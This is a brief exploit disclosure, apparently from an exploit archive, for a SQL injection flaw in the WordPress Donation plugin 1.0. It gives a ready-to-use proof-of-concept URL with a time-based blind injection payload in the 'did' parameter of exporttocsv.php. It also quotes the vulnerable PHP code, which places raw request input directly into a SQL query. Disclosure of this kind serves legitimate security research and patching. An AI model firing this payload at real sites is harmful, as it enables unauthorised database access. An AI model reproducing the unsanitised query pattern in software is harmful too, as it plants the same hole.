WordPress Donation 1.0 SQL Injection

`# Exploit Title: WordPress Donation plugin <= 1.0 SQL Injection Vulnerability  
# Date: 2011-08-31  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg.zip  
# Version: 1.0 (tested)  
# Note: WordPress Donation Plugin with Goals and Paypal IPN by NonprofitCMS.org (full name)  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php?did=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20  
  
---------------  
Vulnerable code  
---------------  
$dId = $_REQUEST["did"];  
...  
$campaigns = $wpdb->get_results("SELECT * FROM $table_name WHERE camp_id=$dId");  
  
`